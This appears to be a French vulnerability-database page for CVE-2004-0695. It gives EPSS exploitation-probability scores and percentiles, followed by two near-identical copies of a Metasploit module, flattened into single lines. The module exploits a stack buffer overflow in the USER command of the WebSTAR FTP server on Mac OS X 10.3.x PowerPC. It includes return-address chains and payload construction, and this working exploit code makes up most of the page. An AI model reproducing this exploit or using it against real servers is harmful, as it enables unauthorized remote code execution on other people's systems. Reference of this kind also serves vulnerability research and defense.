CVE-2004-0695 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	74.39%	–	–
2023-03-12	–	–	–	95.94%	–
2023-06-25	–	–	–	87.71%	–
2024-02-11	–	–	–	87.71%	–
2024-06-02	–	–	–	87.71%	–
2024-12-22	–	–	–	73.84%	–
2025-01-19	–	–	–	73.84%	–
2025-03-18	–	–	–	–	79.12%
2025-03-18	–	–	–	–	79.12,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	99%
2023-03-12	99%
2023-06-25	98%
2024-02-11	99%
2024-06-02	99%
2024-12-22	98%
2025-01-19	98%
2025-03-18	99%
2025-03-18	99%

## # $Id: webstar_ftp_user.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'WebSTAR FTP Server USER Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the logging routine of the WebSTAR FTP server. Reliable code execution is obtained by a series of hops through the System library. }, 'Author' => [ 'ddz', 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10394 $', 'References' => [ [ 'CVE', '2004-0695'], [ 'OSVDB', '7794'], [ 'BID', '10720'], ], 'Privileged' => true, 'Payload' => { 'Space' => 300, 'BadChars' => "\x00\x20\x0a\x0d", 'Compat' => { 'ConnectionType' => "+find" }, }, 'Targets' => [ [ 'Mac OS X 10.3.4-10.3.6', { 'Platform' => 'osx', 'Arch' => ARCH_PPC, 'Rets' => [ 0x9008dce0, 0x90034d60, 0x900ca6d8, 0x90023590 ], }, ], ], 'DisclosureDate' => 'Jul 13 2004', 'DefaultTarget' => 0)) register_options( [ OptString.new('MHOST', [ false, "Our IP address or hostname as the target resolves it" ]), ], self) end # crazy dino 5-hop foo #$ret = pack('N', 0x9008dce0); # call $r28, jump r1+120 #$r28 = pack('N', 0x90034d60); # getgid() #$ptr = pack('N', 0x900ca6d8); # r3 = r1 + 64, call $r30 #$r30 = pack('N', 0x90023590); # call $r3 def exploit connect # The offset to the return address is dependent on the length of our hostname # as the target system resolves it ( IP or reverse DNS ). mhost = datastore['MHOST'] || Rex::Socket.source_address(datastore['RHOST']) basel = 285 - mhost.length print_status("Trying target #{target.name}...") # ret = 296 # r25 = 260 # r26 = 264 # r27 = 268 # r28 = 272 # r29 = 276 # r30 = 280 # r31 = 284 # r1+120 = 408 buf = rand_text_alphanumeric(basel + 136 + 56, payload_badchars) buf[basel + 24, 4] = [ target['Rets'][0] ].pack('N') # call $r28, jump r1+120 buf[basel , 4] = [ target['Rets'][1] ].pack('N') # getgid() buf[basel + 136, 4] = [ target['Rets'][2] ].pack('N') # (r1+120) => r3 = r1 + 64, call $r30 buf[basel + 120, 4] = [ target['Rets'][3] ].pack('N') # call $r3 buf << payload.encoded send_cmd( ['USER', buf] , true ) send_cmd( ['HELP'] , true ) handler disconnect end end

## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'WebSTAR FTP Server USER Overflow', 'Description' => %q{ This module exploits a stack overflow in the logging routine of the WebSTAR FTP server. Reliable code execution is obtained by a series of hops through the System library. }, 'Author' => [ 'ddz', 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2004-0695'], [ 'OSVDB', '7794'], [ 'BID', '10720'], ], 'Privileged' => true, 'Payload' => { 'Space' => 300, 'BadChars' => "\x00\x20\x0a\x0d", 'Compat' => { 'ConnectionType' => "+find" }, }, 'Targets' => [ [ 'Mac OS X 10.3.4-10.3.6', { 'Platform' => 'osx', 'Arch' => ARCH_PPC, 'Rets' => [ 0x9008dce0, 0x90034d60, 0x900ca6d8, 0x90023590 ], }, ], ], 'DisclosureDate' => 'Jul 13 2004', 'DefaultTarget' => 0)) register_options( [ OptString.new('MHOST', [ false, "Our IP address or hostname as the target resolves it" ]), ], self) end # crazy dino 5-hop foo #$ret = pack('N', 0x9008dce0); # call $r28, jump r1+120 #$r28 = pack('N', 0x90034d60); # getgid() #$ptr = pack('N', 0x900ca6d8); # r3 = r1 + 64, call $r30 #$r30 = pack('N', 0x90023590); # call $r3 def exploit connect # The offset to the return address is dependent on the length of our hostname # as the target system resolves it ( IP or reverse DNS ). mhost = datastore['MHOST'] || Rex::Socket.source_address(datastore['RHOST']) basel = 285 - mhost.length print_status("Trying target #{target.name}...") # ret = 296 # r25 = 260 # r26 = 264 # r27 = 268 # r28 = 272 # r29 = 276 # r30 = 280 # r31 = 284 # r1+120 = 408 buf = rand_text_alphanumeric(basel + 136 + 56, payload_badchars) buf[basel + 24, 4] = [ target['Rets'][0] ].pack('N') # call $r28, jump r1+120 buf[basel , 4] = [ target['Rets'][1] ].pack('N') # getgid() buf[basel + 136, 4] = [ target['Rets'][2] ].pack('N') # (r1+120) => r3 = r1 + 64, call $r30 buf[basel + 120, 4] = [ target['Rets'][3] ].pack('N') # call $r3 buf << payload.encoded send_cmd( ['USER', buf] , true ) send_cmd( ['HELP'] , true ) handler disconnect end end